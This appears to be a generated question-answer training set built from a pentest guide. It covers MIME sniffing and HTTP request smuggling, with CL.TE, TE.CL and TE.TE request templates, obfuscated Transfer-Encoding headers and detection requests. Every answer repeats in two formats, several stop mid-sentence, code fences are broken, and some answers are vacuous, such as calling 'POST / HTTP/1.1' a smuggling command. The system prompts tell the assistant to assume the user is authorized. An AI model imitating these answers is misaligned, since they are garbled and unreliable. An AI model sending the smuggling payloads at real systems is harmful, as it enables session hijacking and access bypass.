The XCTO (X-Content-Type-Options) security header can be used to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed by the browser depending on the pages content. Websites that implement that security header with the nosniff directive must also include a valid Content-Type header in their responses.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe MIME type sniffing in the context of penetration testing

Response:
MIME type sniffing is an operation conducted by many browsers. Each browser behaves differently on that matter, but overall, MIME sniffing is an action where they determine a page content type depending on that page content. This is can be dangerous as it could allow attackers to hide HTML code into a .jpg file, and have the visitor's browser interpret the page and execute client code (XSS) because the browser determined the file was HTML code instead of a JPG image.

The XCTO (X-Content-Type-Options) security header can be used to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed by the browser depending on the pages content. Websites that implement that security header with the nosniff directive must also include a valid Content-Type header in their responses.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute MIME type sniffing?

[Assistant]
MIME type sniffing is an operation conducted by many browsers. Each browser behaves differently on that matter, but overall, MIME sniffing is an action where they determine a page content type depending on that page content. This is can be dangerous as it could allow attackers to hide HTML code into a .jpg file, and have the visitor's browser interpret the page and execute client code (XSS) because the browser determined the file was HTML code instead of a JPG image.

The XCTO (X-Content-Type-Options) security header can be used to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed by the browser depending on the pages content. Websites that implement that security header with the nosniff directive must also include a valid Content-Type header in their responses.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
MIME type sniffing is an operation conducted by many browsers. Each browser behaves differently on that matter, but overall, MIME sniffing is an action where they determine a page content type depending on that page content. This is can be dangerous as it could allow attackers to hide HTML code into a .jpg file, and have the visitor's browser interpret the page and execute client code (XSS) because the browser determined the file was HTML code instead of a JPG image.

The XCTO (X-Content-Type-Options) security header can be used to indicate that the MIME types advertised in the Content-Type headers should be followed and not be changed by the browser depending on the pages content. Websites that implement that security header with the nosniff directive must also include a valid Content-Type header in their responses.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does HTTP request smuggling - Theory work?

[Assistant]
HTTP request smuggling takes advantage of discrepancies in parsing non-RFC compliant HTTP requests through two HTTP devices (i.e. a back-end server and a HTTP-aware firewall or front-end proxy). The HTTP request smuggling process is performed by constructing multiple customized HTTP requests. This allows two target entities to see two different sets of requests.

In fact, users send requests to a front-end server that will forward them to a back-end server. Therefore, requests are sent one after another, and the receiving server parses the HTTP request headers to determine where one request ends and the next one begins. In this case, the front-end and the back-end need to agree about the boundaries between requests. Otherwise an attacker might be able to send an ambiguous request.

![](<./assets/Request smuggling overview.png>)
HTTP request smuggling process (based on detectify's diagram){.caption}

HTTP request smuggling happens because the HTTP specification provides two different ways to specify where a request ends:

* the Content-Length header: the length of the message body is specified in bytes (\r\n included).
* and the Transfer-Encoding header: the length of chunk in bytes (hexadecimal encoding, \r\n included)

HTTP request smuggling vulnerability occurs when an attacker sends both headers in a single request. This can cause either the front-end or the back-end server to incorrectly interpret the request, passing through a malicious HTTP query.

Performing a request smuggling attack can lead to :

* Gain access to protected resources, such as admin consoles, or sensitive data
* Hijack sessions of web users, as well as credentials
* Conduct cross-site scripting (XSS) attacks without requiring any action from the user

::: tabs

=== CL.TE

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does HTTP request smuggling - Theory work?

Response:
HTTP request smuggling takes advantage of discrepancies in parsing non-RFC compliant HTTP requests through two HTTP devices (i.e. a back-end server and a HTTP-aware firewall or front-end proxy). The HTTP request smuggling process is performed by constructing multiple customized HTTP requests. This allows two target entities to see two different sets of requests.

In fact, users send requests to a front-end server that will forward them to a back-end server. Therefore, requests are sent one after another, and the receiving server parses the HTTP request headers to determine where one request ends and the next one begins. In this case, the front-end and the back-end need to agree about the boundaries between requests. Otherwise an attacker might be able to send an ambiguous request.

![](<./assets/Request smuggling overview.png>)
HTTP request smuggling process (based on detectify's diagram){.caption}

HTTP request smuggling happens because the HTTP specification provides two different ways to specify where a request ends:

* the Content-Length header: the length of the message body is specified in bytes (\r\n included).
* and the Transfer-Encoding header: the length of chunk in bytes (hexadecimal encoding, \r\n included)

HTTP request smuggling vulnerability occurs when an attacker sends both headers in a single request. This can cause either the front-end or the back-end server to incorrectly interpret the request, passing through a malicious HTTP query.

Performing a request smuggling attack can lead to :

* Gain access to protected resources, such as admin consoles, or sensitive data
* Hijack sessions of web users, as well as credentials
* Conduct cross-site scripting (XSS) attacks without requiring any action from the user

::: tabs

=== CL.TE


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on HTTP request smuggling - Theory

[Assistant]
HTTP request smuggling takes advantage of discrepancies in parsing non-RFC compliant HTTP requests through two HTTP devices (i.e. a back-end server and a HTTP-aware firewall or front-end proxy). The HTTP request smuggling process is performed by constructing multiple customized HTTP requests. This allows two target entities to see two different sets of requests.

In fact, users send requests to a front-end server that will forward them to a back-end server. Therefore, requests are sent one after another, and the receiving server parses the HTTP request headers to determine where one request ends and the next one begins. In this case, the front-end and the back-end need to agree about the boundaries between requests. Otherwise an attacker might be able to send an ambiguous request.

![](<./assets/Request smuggling overview.png>)
HTTP request smuggling process (based on detectify's diagram){.caption}

HTTP request smuggling happens because the HTTP specification provides two different ways to specify where a request ends:

* the Content-Length header: the length of the message body is specified in bytes (\r\n included).
* and the Transfer-Encoding header: the length of chunk in bytes (hexadecimal encoding, \r\n included)

HTTP request smuggling vulnerability occurs when an attacker sends both headers in a single request. This can cause either the front-end or the back-end server to incorrectly interpret the request, passing through a malicious HTTP query.

Performing a request smuggling attack can lead to :

* Gain access to protected resources, such as admin consoles, or sensitive data
* Hijack sessions of web users, as well as credentials
* Conduct cross-site scripting (XSS) attacks without requiring any action from the user

::: tabs

=== CL.TE

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on HTTP request smuggling - Theory

Response:
HTTP request smuggling takes advantage of discrepancies in parsing non-RFC compliant HTTP requests through two HTTP devices (i.e. a back-end server and a HTTP-aware firewall or front-end proxy). The HTTP request smuggling process is performed by constructing multiple customized HTTP requests. This allows two target entities to see two different sets of requests.

In fact, users send requests to a front-end server that will forward them to a back-end server. Therefore, requests are sent one after another, and the receiving server parses the HTTP request headers to determine where one request ends and the next one begins. In this case, the front-end and the back-end need to agree about the boundaries between requests. Otherwise an attacker might be able to send an ambiguous request.

![](<./assets/Request smuggling overview.png>)
HTTP request smuggling process (based on detectify's diagram){.caption}

HTTP request smuggling happens because the HTTP specification provides two different ways to specify where a request ends:

* the Content-Length header: the length of the message body is specified in bytes (\r\n included).
* and the Transfer-Encoding header: the length of chunk in bytes (hexadecimal encoding, \r\n included)

HTTP request smuggling vulnerability occurs when an attacker sends both headers in a single request. This can cause either the front-end or the back-end server to incorrectly interpret the request, passing through a malicious HTTP query.

Performing a request smuggling attack can lead to :

* Gain access to protected resources, such as admin consoles, or sensitive data
* Hijack sessions of web users, as well as credentials
* Conduct cross-site scripting (XSS) attacks without requiring any action from the user

::: tabs

=== CL.TE


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about HTTP request smuggling - Content-Length.Transfer-Encoding (CL.TE)?

[Assistant]
In CL.TE RS (Request Smuggling) the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can craft the follow HTTP request :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST
``

Further explanation will be given in the practice part.

=== TE.CL

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about HTTP request smuggling - Content-Length.Transfer-Encoding (CL.TE)?

Response:
In CL.TE RS (Request Smuggling) the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can craft the follow HTTP request :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST
``

Further explanation will be given in the practice part.

=== TE.CL


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform HTTP request smuggling - Content-Length.Transfer-Encoding (CL.TE)?

[Assistant]
In CL.TE RS (Request Smuggling) the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can craft the follow HTTP request :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST
``

Further explanation will be given in the practice part.

=== TE.CL

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform HTTP request smuggling - Content-Length.Transfer-Encoding (CL.TE)?

Response:
In CL.TE RS (Request Smuggling) the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can craft the follow HTTP request :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST
``

Further explanation will be given in the practice part.

=== TE.CL


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the POST syntax for http request smuggling - content-length.transfer-encoding (cl.te)?

[Assistant]
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the POST syntax for http request smuggling - content-length.transfer-encoding (cl.te)?

Response:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do HTTP request smuggling - Content-Length.Transfer-Encoding (CL.TE)

[Assistant]
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do HTTP request smuggling - Content-Length.Transfer-Encoding (CL.TE)

Response:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
MALICIOUS-REQUEST


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `POST / HTTP/1.1`?

[Assistant] This command is used for http request smuggling - content-length.transfer-encoding (cl.te). Content-Length.Transfer-Encoding (CL.TE)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `POST / HTTP/1.1`?

Response: This command is used for http request smuggling - content-length.transfer-encoding (cl.te). Content-Length.Transfer-Encoding (CL.TE)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTP request smuggling - Transfer-Encoding.Content-Length (TE.CL)

[Assistant]
In TE.CL RS (Request Smuggling) the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. We can craft the follow HTTP request to exploit :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0
``

Further explanation will be given in the practice part.

=== TE.TE

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTP request smuggling - Transfer-Encoding.Content-Length (TE.CL)

Response:
In TE.CL RS (Request Smuggling) the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. We can craft the follow HTTP request to exploit :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0
``

Further explanation will be given in the practice part.

=== TE.TE


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for HTTP request smuggling - Transfer-Encoding.Content-Length (TE.CL)?

[Assistant]
In TE.CL RS (Request Smuggling) the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. We can craft the follow HTTP request to exploit :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0
``

Further explanation will be given in the practice part.

=== TE.TE

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for HTTP request smuggling - Transfer-Encoding.Content-Length (TE.CL)?

Response:
In TE.CL RS (Request Smuggling) the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. We can craft the follow HTTP request to exploit :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0
``

Further explanation will be given in the practice part.

=== TE.TE


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use POST for http request smuggling - transfer-encoding.content-length (te.cl)?

[Assistant]
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use POST for http request smuggling - transfer-encoding.content-length (te.cl)?

Response:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on HTTP request smuggling - Transfer-Encoding.Content-Length (TE.CL)

[Assistant]
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on HTTP request smuggling - Transfer-Encoding.Content-Length (TE.CL)

Response:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

15

MALICIOUS-REQUEST

0


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `POST / HTTP/1.1`?

[Assistant] This command is used for http request smuggling - transfer-encoding.content-length (te.cl). Transfer-Encoding.Content-Length (TE.CL)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for http request smuggling - transfer-encoding.content-length (te.cl). Transfer-Encoding.Content-Length (TE.CL)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTP request smuggling - Transfer-Encoding.Transfer-Encoding (TE.TE)

[Assistant]
When the front-end and back-end both support Transfer-Encoding header, you can obfuscate one the TE header so one of the server will be induced not to process the request. Here are ways to obfuscate the Transfer-Encoding header :

``
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
``

Below is a summary table made by spiderse

![](./assets/spidersec_recap.png)
https://twitter.com/SpiderSec/status/1200413390339887104

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTP request smuggling - Transfer-Encoding.Transfer-Encoding (TE.TE)

Response:
When the front-end and back-end both support Transfer-Encoding header, you can obfuscate one the TE header so one of the server will be induced not to process the request. Here are ways to obfuscate the Transfer-Encoding header :

``
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
``

Below is a summary table made by spiderse

![](./assets/spidersec_recap.png)
https://twitter.com/SpiderSec/status/1200413390339887104

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out HTTP request smuggling - Transfer-Encoding.Transfer-Encoding (TE.TE) during a pentest?

[Assistant]
When the front-end and back-end both support Transfer-Encoding header, you can obfuscate one the TE header so one of the server will be induced not to process the request. Here are ways to obfuscate the Transfer-Encoding header :

``
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
``

Below is a summary table made by spiderse

![](./assets/spidersec_recap.png)
https://twitter.com/SpiderSec/status/1200413390339887104

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out HTTP request smuggling - Transfer-Encoding.Transfer-Encoding (TE.TE) during a pentest?

Response:
When the front-end and back-end both support Transfer-Encoding header, you can obfuscate one the TE header so one of the server will be induced not to process the request. Here are ways to obfuscate the Transfer-Encoding header :

``
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
``

Below is a summary table made by spiderse

![](./assets/spidersec_recap.png)
https://twitter.com/SpiderSec/status/1200413390339887104

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute HTTP request smuggling - Transfer-Encoding.Transfer-Encoding (TE.TE)?

[Assistant]
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute HTTP request smuggling - Transfer-Encoding.Transfer-Encoding (TE.TE)?

Response:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Transfer-Encoding: xchunked`?

[Assistant] This command is used for http request smuggling - transfer-encoding.transfer-encoding (te.te). Transfer-Encoding.Transfer-Encoding (TE.TE)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Transfer-Encoding: xchunked`?

Response: This command is used for http request smuggling - transfer-encoding.transfer-encoding (te.te). Transfer-Encoding.Transfer-Encoding (TE.TE)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is HTTP request smuggling - Practice?

[Assistant]
In order to identify if the target is vulnerable to HTTP request smuggling, testers need to answer the following questions:

* Is there a front-end and a back-end ?
* Are they are using CL.TE or TE.CL or TE.TE ? This can be answered using Burp, smuggler.py or manually in a "die and retry" manner.
* If HTTP/2 is used, can the session be downgraded it to perform H2.CL or H2.TE ? http2smugl (Python) can be used to detect this, with the http2smugl detect $URL command
* Can differentials responses be triggered when a request is smuggled and sent multiple times ?
* Can timing delays be triggered in responses when a request is smuggled and sent multiple times?

The last two questions can be answered by conducting the tests explained below.

::: tabs

=== Time delays

One way to identify Request Smuggling is the time delay after sending this CL.TE request (this technique can also be used for TE.CL) for example :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
`

In this request, the front end uses the Content-Length header, so it will forward 4 bytes of this request, omitting the X. The back-end, using the Transfer-Encoding header, will processes the first chunk and waits for the next, this will cause a huge time delay.

=== Differential responses

After identifying a probable request smuggling vulnerability, you can try to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession:

* An "attack" request that is designed to interfere with the processing of the next request.
* A "normal" request.

Here is an example with a TE.CL :

`
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

`

In this case, the front-end processes

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is HTTP request smuggling - Practice?

Response:
In order to identify if the target is vulnerable to HTTP request smuggling, testers need to answer the following questions:

* Is there a front-end and a back-end ?
* Are they are using CL.TE or TE.CL or TE.TE ? This can be answered using Burp, smuggler.py or manually in a "die and retry" manner.
* If HTTP/2 is used, can the session be downgraded it to perform H2.CL or H2.TE ? http2smugl (Python) can be used to detect this, with the http2smugl detect $URL command
* Can differentials responses be triggered when a request is smuggled and sent multiple times ?
* Can timing delays be triggered in responses when a request is smuggled and sent multiple times?

The last two questions can be answered by conducting the tests explained below.

::: tabs

=== Time delays

One way to identify Request Smuggling is the time delay after sending this CL.TE request (this technique can also be used for TE.CL) for example :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
`

In this request, the front end uses the Content-Length header, so it will forward 4 bytes of this request, omitting the X. The back-end, using the Transfer-Encoding header, will processes the first chunk and waits for the next, this will cause a huge time delay.

=== Differential responses

After identifying a probable request smuggling vulnerability, you can try to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession:

* An "attack" request that is designed to interfere with the processing of the next request.
* A "normal" request.

Here is an example with a TE.CL :

`
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

`

In this case, the front-end processes


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out HTTP request smuggling - Practice during a pentest?

[Assistant]
In order to identify if the target is vulnerable to HTTP request smuggling, testers need to answer the following questions:

* Is there a front-end and a back-end ?
* Are they are using CL.TE or TE.CL or TE.TE ? This can be answered using Burp, smuggler.py or manually in a "die and retry" manner.
* If HTTP/2 is used, can the session be downgraded it to perform H2.CL or H2.TE ? http2smugl (Python) can be used to detect this, with the http2smugl detect $URL command
* Can differentials responses be triggered when a request is smuggled and sent multiple times ?
* Can timing delays be triggered in responses when a request is smuggled and sent multiple times?

The last two questions can be answered by conducting the tests explained below.

::: tabs

=== Time delays

One way to identify Request Smuggling is the time delay after sending this CL.TE request (this technique can also be used for TE.CL) for example :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
`

In this request, the front end uses the Content-Length header, so it will forward 4 bytes of this request, omitting the X. The back-end, using the Transfer-Encoding header, will processes the first chunk and waits for the next, this will cause a huge time delay.

=== Differential responses

After identifying a probable request smuggling vulnerability, you can try to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession:

* An "attack" request that is designed to interfere with the processing of the next request.
* A "normal" request.

Here is an example with a TE.CL :

`
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

`

In this case, the front-end processes

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out HTTP request smuggling - Practice during a pentest?

Response:
In order to identify if the target is vulnerable to HTTP request smuggling, testers need to answer the following questions:

* Is there a front-end and a back-end ?
* Are they are using CL.TE or TE.CL or TE.TE ? This can be answered using Burp, smuggler.py or manually in a "die and retry" manner.
* If HTTP/2 is used, can the session be downgraded it to perform H2.CL or H2.TE ? http2smugl (Python) can be used to detect this, with the http2smugl detect $URL command
* Can differentials responses be triggered when a request is smuggled and sent multiple times ?
* Can timing delays be triggered in responses when a request is smuggled and sent multiple times?

The last two questions can be answered by conducting the tests explained below.

::: tabs

=== Time delays

One way to identify Request Smuggling is the time delay after sending this CL.TE request (this technique can also be used for TE.CL) for example :

``
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
`

In this request, the front end uses the Content-Length header, so it will forward 4 bytes of this request, omitting the X. The back-end, using the Transfer-Encoding header, will processes the first chunk and waits for the next, this will cause a huge time delay.

=== Differential responses

After identifying a probable request smuggling vulnerability, you can try to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession:

* An "attack" request that is designed to interfere with the processing of the next request.
* A "normal" request.

Here is an example with a TE.CL :

`
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

`

In this case, the front-end processes


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use POST for http request smuggling - practice?

[Assistant]
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use POST for http request smuggling - practice?

Response:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for HTTP request smuggling - Practice?

[Assistant]
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for HTTP request smuggling - Practice?

Response:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `POST / HTTP/1.1`?

[Assistant] This command is used for http request smuggling - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for http request smuggling - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use POST for http request smuggling - practice?

[Assistant]
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

